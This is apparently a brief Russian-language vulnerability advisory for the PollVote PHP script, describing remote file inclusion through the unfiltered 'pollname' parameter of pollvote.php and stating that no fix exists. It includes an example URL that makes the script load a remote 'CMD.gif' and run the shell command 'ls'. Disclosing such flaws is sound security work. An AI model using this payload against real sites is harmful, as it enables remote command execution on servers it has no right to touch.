PHP инклюдинг в PollVote

Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе.

Уязвимость существует из-за недостаточной фильтрации входных данных в параметре "pollname" сценария "pollvote.php". Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные команды на целевой системе с привилегиями web сервера. Пример:

http://www.[host].com/[path]/pollvote.php?
pollname=http://www.[host].com/CMD.gif?&cmd=ls

URL производителя: www.w58.de/~ibozic/pollvote/

Решение: Способов устранения уязвимости не существует в настоящее время.

Источник: